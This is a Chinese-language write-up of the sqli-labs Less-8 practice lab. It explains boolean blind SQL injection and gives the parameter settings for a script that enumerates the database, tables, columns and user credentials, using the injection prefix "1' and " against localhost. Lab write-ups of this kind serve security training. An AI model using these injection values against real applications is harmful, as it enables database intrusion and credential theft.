基于Bool_GET_單引號_字符型_盲注
0x01. Less1、5、7、8回顯對比
| Less | 注入方法 | 正確回顯 | 錯誤回顯 |
|---|---|---|---|
| 1 | 基于錯誤注入 | 查詢到的用戶名和密碼 | Mysql錯誤信息 |
| 5 | 雙注入 | 固定字符串 | Mysql錯誤信息 |
| 7 | 導(dǎo)出文件注入 | 固定字符串 | 另一固定字符串 |
| 8 | Bool型盲注 | 固定字符串 | 無 |
Less1可以通過正確回顯直接查詢到數(shù)據(jù),Less5可以從錯誤回顯中得到信息。
而Less7和Less8不能顯示任何有價值的回顯,所以叫做盲注。
只要回顯中有固定字符串,都可使用盲注腳本,如Less5。
盲注主要分為Bool型和Time型,Bool盲注通常涉及到的函數(shù)在Bool盲注腳本那篇已介紹過。
Bool盲注的中心思想是通過mid()等截取函數(shù)以二分法的形式查詢逐個匹配想要的信息,過程通常都很耗時,所以一般寫個盲注腳本來跑。
0x02. 腳本注入過程
Bool盲注腳本那篇的腳本適用于大部分情況,只需修改url,查詢語句閉合,數(shù)據(jù)庫、表和字段名即可。
分析查詢語句詳見Less7。
步驟一:數(shù)據(jù)庫名
url = "http://localhost:8088/sqlilabs/Less-8/?id="
start_str = "1' and "
info_table_name = "schemata"
info_column_name = "schema_name"

步驟二:表名
info_table_name = "tables"
info_column_name = "table_name"
database_name = "security"
where_str = " where table_schema='"+database_name+"'"

步驟三:字段名
info_table_name = "columns"
info_column_name = "column_name"
table_name = "users"
where_str = " where table_schema='"+database_name+"'"+" and table_name='"+table_name+"'"

步驟三:數(shù)據(jù)
column_name = ["id","username","password"]
select_str = "select concat_ws('-',"+column_name[0]+","+column_name[1]+","+column_name[2]+") from "+table_name+" limit "+str(result_index)+",1"

0x03. 吐槽
寫Less5那天先把腳本寫了是值得的。